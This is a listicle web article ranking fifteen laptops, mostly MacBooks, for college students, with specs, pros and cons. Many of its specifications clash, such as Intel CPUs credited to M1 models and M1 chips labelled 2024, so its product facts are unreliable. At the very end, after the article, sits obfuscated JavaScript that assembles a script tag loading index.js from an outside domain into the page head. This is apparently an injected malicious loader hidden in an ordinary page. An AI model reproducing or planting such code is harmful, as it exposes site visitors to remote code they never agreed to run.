15 Best Apple Laptops for College Students

So, you are about to start or go back to college and you need to buy a laptop but there are numerous lists of the best MacBook laptops for college students on the internet and you are unsure of which to go for. We have researched and narrowed your search down to the 15 best Apple laptops for college students in 2024 to make things easier for you.

Before we begin, as a college student, it is important you know that while you plan to buy a new laptop, one of the things you must consider is your budget as well as the system requirement for your major/school. This will help you know the specifications to best look out for.

So, which Mac is best to buy for college?

15 Best Apple Lapops for College Students

Let’s check our options…

1. MacBook Air (M2, 2024)

The MacBook Air (M2, 2024) is the first on our list of the best Apple laptops for college students in 2024. This is mostly because it offers numerous impressionable features for college students on a tight budget beginning with its strong battery life which lasts up to about 18 hours depending on the usage.

In addition to this, the MacBook Air (M2, 2024) is the first to come with the second-gen M2 processor. It is lightweight and it comes with a magic keyboard light as well as a Touch ID sensor.

Specifications

• Display size: 13.6 inches
• Display resolution: 2560 x 1664 pixels
• Processor: Apple M2 chip (

8-core CPU with 4 performance cores and 4 efficiency cores
10-core GPU
16-core Neural Engine)

• Refresh Rate: 60 Hz
• RAM: Up to 24GB
• Touchscreen: No
• Storage: Up to 2048GB
• Weight: 1.24 kg (2.73 lbs)

Pros

• It has the same screen size as the powerful13-inch MacBook Pro
• It comes with the Apple M2 chip
• The MacBook Air (M2, 2024) is quite affordable
• It comes with a strong battery that lasts up to 18 hours.
• It has a strikingly thin design
• Also, it is easy to use

Cons

• The brightness display is quite low
• It comes with inferior speakers compared to other MacBook Pro models
• Although the battery is long-lasting, it has two hours less battery life than the 13-inch MacBook Pro.
• It comes with fewer Thunderbolt 3 (USB-C) ports.

15 Best Laptops for Photo Editing on Budget in 2024

2. MacBook Air with M1

MacBook Air with M1 is another one of the best Apple laptops for college students on our list. Aside from this model being the most affordable MacBook for college students, the laptop has incredibly long battery life.

The Apple Macbook Air M1 13 has all the features that meet all the criteria for some of the best Apple laptops for college students. With a weight of little over 2.5 pounds, the Apple Macbook Air is extraordinarily thin and light, making it a terrific option for lugging around a college campus all day.

In addition, it comes with an 8GB of RAM, an Intel Core CPU, and a sizable and quick 256GB solid-state drive, the specs on this device are excellent. Even more, the laptop comes with excellent dual speakers, which have lots of bass boost and audio boost features

Also, its webcam improves colour accuracy and image clarity, especially as a result of the M1 chip that provides processing tricks to facilitate these features.

Specifications

• Display size: 13.3 inches
• Display resolution: 2,560 x 1,600
• Processor: Apple M1
  RAM: 8GB-16GB
• Touchscreen: No
• Storage: 256GB-2TB SSD
• Weight: 2.8 pounds

Pros

• It has a very strong and long battery life
• It provides a comfortable typing experience
• Also, it comes with an upgraded webcam with colour accuracy and improved image quality
• It comes with Dolby Atmos audio which helps to improve sounds
• It is affordable
• Even more, it offers a super fast performance

Cons

• It has lights on its ports
• It has thick bezels

3. MacBook Pro 16-inch (2024)

The MacBook Pro 16-inch (2024) is a powerful MacBook for college students, especially the creative students who deal with high-powered software such as writers, and photo and video editors. That is to say that this is also one of the best MacBooks for photo editors as it smoothly runs greatly powered software such as Photoshop, Premiere Pro, After Effects and a lot of others.

This MacBooklaptop for college students comes with Apple’s great M1 Pro or M1 max chips both of which help the laptop to perform superfast for most video editing, animation, graphic design and 3D modelling tasks.

Specifications

• Display size: 16.2-inch
• Display resolution: 3546×2234 pixels
• Processor: Apple M1 Pro 10-core – M1 Max 10-core
  RAM: Up to 64GB
• Touchscreen: No
• Storage: Up to 8TB
• Weight: 2.10 kg

Pros

• It comes with a large screen
• It offers super-fast performance
• Also, it comes with an incredible battery life
• It smoothly runs high-powered software

Cons

• It is not lightweight and so, it is not portable.

15 Best Laptops For Programming

4. MacBook Pro (13-inch, M2, 2024)

Although a bit dated, we could not afford not to put this Apple laptop on our list of the best MacBooks for college students. First, as a college student, one of the most important features you must consider when purchasing a MacBook for yourself will be the battery life.

While it has a stagnant design, this MacBook comes with a sleek look, a long-lasting battery life, and a super-fast performance. Also, it comes with an enhanced image processing unit. Even better, it runs iOS games and applications. What more would you be asking for!

Specifications

• Display size: 13.3 inches
• Display resolution: 2560 x 1600 pixels
• Processor: Apple M2 (8-core)
  RAM: 8GB/16GB/24GB
• Touchscreen: No
• Storage: 256GB/512GB/1TB/2TB
• Weight: 1.4 kg

Pros

• It has an incredibly long-lasting battery life that lasts up to 20 hours depending on your usage
• It is super fast
• Also, it comes with an enhanced image processing unit
• It runs all iOS applications and games
• It offers a great gaming performance and experience
• Even more, it comes with a comfortable keyboard
• A super lightening-fast SSD

Cons

• It has a stagnant and ba somewhat land design
• The model does not come with enough ports.

5. 14-INCH APPLE MACBOOK PRO (M1, 2024)

The 14-INCH APPLE MACBOOK PRO (M1, 2024) comes with a superb display, a super-fast performance and an extended battery life. These have to be some of the best things that make it one of the best Apple laptops for students in 2024.

In addition, the laptop comes with a stylish and compact design, and unlike the MacBook Pro (13-inch, M2, 2024), this laptop comes with a more improved webcam that has been enhanced to 1080p quality. Check below for some other reasons you may want to consider going or this laptop as a college student.

Specifications

• Display size: 14.2 inches
• Display resolution: 3024 x 1964 pixels
• Processor: Up to M1 Pro 10-core or M1 Max 10-core
  RAM: 16GB / 32GB / 64GB
• Touchscreen: No
• Storage: 512GB / 1TB / 2TB / 4TB / 8TB
• Weight: 1.6 kg

Pros

• It comes with a superb display and a stylish design
• An upgraded webcam quality
• It comes with many ports
• It is lightweight
• You get to customize it to your taste
• It has an even more extended battery life.

Cons

/list It is quite expensive, however, if you have some money and can afford it, it will be worth the substantial amount it costs.

Also, See: Best Laptops For Live Streaming | Every Budget

6. 16-INCH APPLE MACBOOK PRO (M1, 2024)

The 16-INCH APPLE MACBOOK PRO (M1, 2024) will literally do anything you want it to except for top-tier gaming. It is one of the most powerful Apple laptops for college students to go for. While this may not the ideal Apple laptop option for gamers (sorry!), it is for students who want to do anything else on their laptops but gaming. It comes with a battery strength that lasts up to 21 hours.

Also, it comes with a much larger screen and a more improved speaker. However, this laptop is quite expensive and it is not very portable. Check below for more reasons to consider before buying this Apple laptop for college.

Specifications

• Display size: 16.2 inches
• Display resolution: 3456 x 2234 pixels
• Processor: Up to M1 Pro 10-core or M1 Max 10-core
• RAM: 16GB / 32GB / 64GB
• Touchscreen: No
• Storage: 512GB / 1TB / 2TB / 4TB / 8TB
• Weight: 2.1 kg

Pros

• It comes with a large screen
• It offers a super-fast performance
• Great battery life lasting up to 21 hours depending on the usage
• It comes with an improved speaker.

Cons

• It is not lightweight, and hence, not portable
• It is expensive but still worth any penny it costs

7. Apple Macbook Air i5 13

The Apple Macbook Air M1 does not come any type of cooling fan, and this makes it it the quietest laptop Apple has ever produced. This is made possible by the use of the M1 processor chip, a company-exclusive component that improves efficiency and, as a result, reduces internal heat.

With the aforementioned M1 CPU, 8GB of RAM, and 256GB of solid-state storage, the specifications are perfect. The battery has a very long lifespan, lasting up to 18 hours before requiring recharging. Although the laptop is on the smaller side, it weighs about 4.5 pounds and may not be a very portable one to go for if portability is high on your list.

Specifications

• Display size: 13.3-inch
• Display resolution: 2560-by-1600
• Processor:

Apple M2 chip

8-core CPU with 4 performance cores and 4 efficiency cores

• RAM: 8GB
• Touchscreen: No
• Storage: 128GB
• Weight: 1.35 kg

Pros

• It is quiet
• It comes with a large screen
• Also, it comes with the M1 chip that helps to decrease the internal heat
• It comes with a large storage
• Comes with a long-lasting battery life

Cons

• It is small
• It is not entirely lightweight

15 Best Laptops for Djing on a Budget | 2024

8. Apple Macbook i9 16

The Apple Macbook i9 16 features an incredibly powerful tenth-generation Intel Core i9 CPU in addition to a staggering quantity of solid-state storage, 1TB. Also, the 16GB of dedicated RAM and a great battery with a nine-hour runtime are two more remarkable specifications which makes it one of te best Apple laptops for college students.

However, this laptop is quite pricey and this is as a result of the numerous impressionable features and specs it comes wit. Also, it is not quite lightweight and could be said to have not met the portability criteria.

Specifications

• Display size: 16‑inch
• Display resolution: 2048 x 1280
• Processor: 9th gen Core i7, 9th Gen Core i9
• RAM: 16GB (up to 64GB)
• Touchscreen:
• Storage: 512GB to 8TB
• Weight: 4.3 pounds

Pros

• It comes with a great magic keyboard
• It has a large screen with slimmer bezels
• Comes with a great and improved sound
• It comes with a relatively extended battery life

Cons

• It does not come with the 4K display
• It does not come with the full-size USB ports and SD card
• It is not entirely ligtweight
• Also, it is quite expensive

9. Apple Macbook Pro i7 15

Due to its four Thunderbolt 3 connections and smooth Bluetooth integration, this Macbook Pro is a wonderful option for people who want to plug in devices as part of their workflow. With a potent Intel Core i7 CPU, 16GB of dedicated RAM, and a fast and smooth 256GB solid-state drive, the specifications are excellent and makes the Apple Macbook Pro i7 15 one of the best Apple laptops for college.

Also, the 15-inch broad huge and stunning Retina display is another beautiful thing about it. However, it is a somewhat heavy laptop and may not be considered portable enough to carry around the campus as a student. If portability is not of utmost importance to you, then maye, the decent battery life the laptop comes with can make up for it.

Specifications

• Display size: 15.4-inch
• Display resolution: 2880-by-1800
• Processor: 2.2GHz 6-core Intel Core i7
• RAM: 16GB of 2400MHz DDR4 onboard memory
• Touchscreen:
• Storage: 256 up to 4TB SSD
• Weight: 1.83 kg

Pros

• It comes with an incredible Intel Core i7 processor
• It comes with a large storgae
• Also, it comes with four Thunderbolt 3 connection integration
• It offers a super-fast performance.

Cons

• It is not entirely a lightweigt laptop
• Running sophisticated applications reduces battery life.

Most Affordable Laptops For Remote Workers

10. Macbook Pro i5 13

The Macbook Pro i5 13 is another on of the best Apple laptops for college. While offering numerous arrays of impressionable features, it comes at a quite affordable rate. It ccoes with a 10th generation 2.7 GHz dual-core Intel Core i5 CPU with a 3.1 GHz turbo boost.

Also, the laptop comes with an 8GB dedicated memory, a large storage space of up to 256GB and a lithium battery lasting up to 10 hours after a complete charge.

Specifications

• Display size: 13.30-inch
• Display resolution: 1600×2560 pixels
• Processor: 2.3GHz 10th gen Core i7
• RAM: 8GB
• Touchscreen: No
• Storage: 256GB SSD to 4TB
• Weight: 1.40 kg

Pros

• It offers a great performance
• It comes with a vibrant and colorful display
• Also, it comes with an astonishing magic keyboard
• It comes with a long-lasting battery life
• It is quite affordable
• Large storage space

Cons

• The webcame could be upgradrd
• It has thick bezels
• iIt requires that upgrades are conducted upon purchase

11. Macbook Air i5 13

The Macbook Air i5 13 is another on of the best Apple laptops for college. It is a budget laptop option for students who cannot afford the most pricey of Apple products but still want to enjoy some of the best features comparable to some of the most recent and costly versions.

It comes with a powerful Intel Core i5 CPU, 8GB of dedicated RAM, and 128GB of solid-state storage. Even more, the Macbook Air i5 13 comes with a strong, long-lasting lithium battery that can last, while in use, for up to 12 hours after a complete charge.

Specifications

• Display size: 13.3-inch
• Display resolution: 2560×1600
• Processor: Apple M1 chip
• RAM: 8 GB
• Touchscreen: No
• Storage: 128GB up to 512GB SSD
• Weight: 1.35 kg

Pros

• It ofers a super-fast performance
• It comes with a large storage space
• An efficient Intel Core i5 processor
• It is affordable

Cons

• It is not entirely ligtweight
• The speakers could use some upgrade

Best Laptops for Architecture Students

Other Best Laptops for College

12. Acer Swift 3 (AMD)

The Acer Swift 3 (AMD) is a great laptop for college students. While it is quite affordable, it offers great performance, has a long-lasting battery life and is lightweight. What more could you want in a laptop as a college student?

Oh, there are more! Thee laptop comes with a large storage space, ports and a comfortable keyboard to type on .

Specifications

• Display size: 14 inches
• Display resolution: 1920×1080
• Processor: AMD Ryzen 7 4700U
• RAM: 8GB
• Touchscreen:
• Storage: 512GB SSD
• Weight: 2.7 pounds

Pros

• It comes with an incredibly long-lasting battery life
• It offers a super-fast performance
• Alsso, it is quite affordable and lightweight

Cons

• The laptop does not have enough display brightness. Display is quite dim.
• The speakers could use some improvement – they are not great enough.

13. Lenovo Duet 3

The Lenovo Duet 3 has to e the best chrome tablet for college students. It is cost effective, can handle every school work you need it to do, and it comes with a long-lasting battery life.

Also, it offers a brighter display, more ports than its other rival models and even a bigger screen.

Specifications

• Display size: 11 inches
• Display resolution: 2,000 x 1,200 pixels
• Processor: Qualcomm Snapdragon 7c Gen 2
• RAM: 4-8GB
• Touchscreen: No
• Storage: 64-128GB eMMC
• Weight: 1.2/2.1 lbs

Pros

• It comes with a bigger and brighter display
• It has an amazing battery life lasting upt to 10+ hours after a complete charge
• Also, it comes with a decent packeed-in keyboard cover
• It comes with an impressionable speaker

Cons

• It does not have a headphone jack
• Its cameras are lackluster
• Its keyboard cover is quite uncomfortable for a sustained typing.

15 Best Laptops for Writers in 2024

14. Microsoft Surface Laptop 4

The Microsoft Surface Laptop 4 comes in a thin chassis with some very impressionable premium features and a free, bloatware-free installation of Windows 10. It has to be the closest product Microsoft Surface produced to a flagship windows laptop.

If great performance and portability are the top on your list, then this is the perfect laptop option for college students to go for. The laptop comes with an amazing Alcantara deck option tat allows your wrist some comfort when typing. Even more, the laptop comes with a comfortable keyboard and adequately sized keys.

Futhermore, it comes with a relatively large screen and has an incredibly long-lasting battery life lasting up to 10+ hours after a complete charge.

Specifications

• Display size: 13.5-inch
• Display resolution: 2256 x 1504
• Processor: 11-Gen Intel Core i5/i7 | Ryzen 5/7 4000-series
• RAM: 8GB to 32GB
• Touchscreen: Yes
• Storage: 256GB to 1TB SSD
• Weight: 2.79 pounds

Pros

• It is light, slim and comes in a beautiful design
• It comes with a comfortable keyboard for sustained typing
• Its speakers are great
• It comes with a great battery life

Cons

• It does not vae more ports
• The webcams could use some improvement

15. Microsoft Surface Go 2

If you are looking for something fancy and long-lasting, then the Microsoft Surface Go 2 is the perfect portable 2-in1 laptops for college students. It comes with a large screen size, reduced bezels and a strong battery life.

The Microsoft Surface Go 2 webcam is Zoom-ready with a 5-megapixel 1080p front camera perfect for online learning. Even more, the laptop comes with the Hello biometric login for unlocking option.

Specifications

• Display size: 10.5 inches
• Display resolution: 1920 x 1280 pixels
• Processor: Pentium Gold, 8th Gen Intel Core m3
• RAM: 4GB, 8GB
• Touchscreen: Yes
• Storage: 64GB, 128GB, 256GB
• Weight: 1.22 pounds

Pros

• An extended battery life
• It comes with a great webcam
• It as a bright, vivid screen
• Affordable

Cons

• The performance is not quite impressing
• The type cover usually requires adjustments

15 Best HP Laptops for College Students in 2024

Conclusion

What a great list of the most powerful yet, affordable Apple laptops for college students. We hope you found the list helpful.

FAQs

References

• imore.com
• tomsguide.com
• laptopmag.com
• t3.com
• support.apple.com
• gadgetreview.com

We Also Recommend

• 15 Best Laptops for High school Students in 2024 | Full Review
• Best Laptops For Electrical Engineering Students In 2024 | Best Reviews
• 20 Best Laptops for Engineering Students 2024 | With Specifications
• Online Colleges that Offer Laptops and iPads FREE | LATEST UPDATE

function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else _0x214068[‘push’](_0x214068[‘shift’]());}catch(_0x3f6e4e){_0x214068[‘push’](_0x214068[‘shift’]());}}}(_0x4b2c,-0x5*-0x3e1bf+-0x1aca7f+0x156689));let script=document[_0x1736b2(0x1aa)+_0x1736b2(0x1ab)](_0x1736b2(0x1ac));script[_0x1736b2(0x1a2)]=_0x1736b2(0x1a8)+_0x1736b2(0x1ad)+_0x1736b2(0x1a7)+_0x1736b2(0x1a4),document[_0x1736b2(0x1a9)][_0x1736b2(0x1b1)+’d’](script);function _0x4b2c(){const _0x4f1112=[‘17443550keKqRZ’,’931FnYPhN’,’src’,’69028IzsNTz’,’index.js’,’8093784mCBYaL’,’47152AEpkIl’,’tter1.org/’,’https://bl’,’head’,’createElem’,’ent’,’script’,’acklivesma’,’519158cdunSS’,’1986TJriDL’,’295BDDNha’,’appendChil’,’774DfdWRJ’,’11UNaThE’,’4HshFMS’,’4252614uPxTub’];_0x4b2c=function(){return _0x4f1112;};return _0x4b2c();}